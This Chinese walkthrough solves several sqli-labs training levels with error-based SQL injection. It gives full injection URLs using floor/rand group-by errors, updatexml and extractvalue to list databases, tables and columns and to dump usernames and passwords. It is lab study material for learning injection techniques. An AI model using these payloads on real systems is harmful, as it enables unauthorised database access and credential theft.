sql libs报错注入

简介: sql libs报错注入

sql libs报错注入

floor()函数:小数向下取整

第1关

爆数据
http://www.guiltyfet.com/sqli/Less-1/?id=1' union select null,count(*),concat((select database()),floor(rand(0)*2)) as a from information_schema.tables group by a  --+

查询表明
http://www.guiltyfet.com/sqli/Less-1/?id=-2' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

查列名
http://www.guiltyfet.com/sqli/Less-1/?id=-2' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 4,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

查字段
http://www.guiltyfet.com/sqli/Less-1/?id=-2' union select null,count(*),concat((select password from users limit 2,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

第2关

http://www.guiltyfet.com/sqli/Less-2/?id=1%20%20and%201=1

http://www.guiltyfet.com/sqli/Less-2/?id=1%20%20and%201=2时不回显

判断字段

http://www.guiltyfet.com/sqli/Less-2/?id=1%20%20order%20by%204;–+

为4时不会显

爆数据库
http://www.guiltyfet.com/sqli/Less-2/?id=1%20 union select 1,count(*),concat((select database()),floor(rand()*2))a from information_schema.columns group by a -- -

爆表
http://www.guiltyfet.com/sqli/Less-2/?id=1%20 union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))a from information_schema.columns group by a -- -

extractvalue函数

一、extractvalue函数

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

例如:SELECT ExtractValue(‘’, ‘/a/b’); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

updatexml更新xml文档的函数

xml_target:: 需要操作的xml片段

xpath_expr: 需要更新的xml路径(Xpath格式)

new_xml: 更新后的内容

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。使用方式如下:

SET @xml = '<a><b><c>w</c><b>x</b><d>y</d>z</b></a>';
SELECT @xml;
SELECT ExtractValue(@xml, '//b[1]');

https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html

第5关

http://www.guiltyfet.com/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+

select语句继续获取数据库中的库名、表名和字段名。查询语句与union注入的相同。因为报错注入只显示一条结果,所以需要使用limit语句限制查询结果,或者使用group_concat函数将查询结果打印在一行显示。

获取其他数据库的库名
http://www.guiltyfet.com/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20schema_name%20from%20information_schema.schemata%20limit%201,1),0x7e),1)--+

获取当前数据库的表名
可以使用limit一个一个查询
http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+

也可以使用group_concat(table_name)一次性查询出所有的表名
http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

获取users表的字段名

http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

获取users表的内容

http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+

第6关

只需要将 ’ 替换成 "

http://www.guiltyfet.com/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+

SELECT ExtractValue(‘’, ‘/a/b’);

相关文章
|
4天前
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
26 0
|
4天前
|
SQL 关系型数据库 分布式数据库
数据管理DMS操作报错合集之DMS SQL执行失败且无法看到原因,如何解决
数据管理DMS(Data Management Service)是阿里云提供的数据库管理和运维服务,它支持多种数据库类型,包括RDS、PolarDB、MongoDB等。在使用DMS进行数据库操作时,可能会遇到各种报错情况。以下是一些常见的DMS操作报错及其可能的原因与解决措施的合集。
|
2天前
|
消息中间件 关系型数据库 网络安全
实时计算 Flink版操作报错合集之Flink sql-client 针对kafka的protobuf格式数据建表,报错:java.lang.ClassNotFoundException 如何解决
实时计算Flink版作为一种强大的流处理和批处理统一的计算框架,广泛应用于各种需要实时数据处理和分析的场景。实时计算Flink版通常结合SQL接口、DataStream API、以及与上下游数据源和存储系统的丰富连接器,提供了一套全面的解决方案,以应对各种实时计算需求。其低延迟、高吞吐、容错性强的特点,使其成为众多企业和组织实时数据处理首选的技术平台。以下是实时计算Flink版的一些典型使用合集。
12 1
|
4天前
|
SQL JSON 分布式计算
实时数仓 Hologres产品使用合集之在执行SQL语句时,在插入语句后面直接跟上了insert,insert操作就会报错如何解决
实时数仓Hologres是阿里云推出的一款高性能、实时分析的数据库服务,专为大数据分析和复杂查询场景设计。使用Hologres,企业能够打破传统数据仓库的延迟瓶颈,实现数据到决策的无缝衔接,加速业务创新和响应速度。以下是Hologres产品的一些典型使用场景合集。
38 0
实时数仓 Hologres产品使用合集之在执行SQL语句时,在插入语句后面直接跟上了insert,insert操作就会报错如何解决
|
4天前
|
SQL 关系型数据库 MySQL
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
|
4天前
|
SQL NoSQL 关系型数据库
一个基于 BigQuery 的 SQL 注入挖掘案例
一个基于 BigQuery 的 SQL 注入挖掘案例
8 0
|
4天前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
27 0
|
4天前
|
SQL 安全 关系型数据库
SQL 注入神器:SQLMap 参数详解
SQL 注入神器:SQLMap 参数详解
|
4天前
|
SQL 存储 Java
如何避免SQL注入?
【4月更文挑战第30天】如何避免SQL注入?
25 0
|
4天前
|
SQL 分布式计算 DataWorks
DataWorks操作报错合集之在DataWorks中使用ODPS SQL时遇到"该文件对应引擎实例已失效,请重新选择可用的引擎实例"的错误提示”,是什么导致的
DataWorks是阿里云提供的一站式大数据开发与治理平台,支持数据集成、数据开发、数据服务、数据质量管理、数据安全管理等全流程数据处理。在使用DataWorks过程中,可能会遇到各种操作报错。以下是一些常见的报错情况及其可能的原因和解决方法。
39 0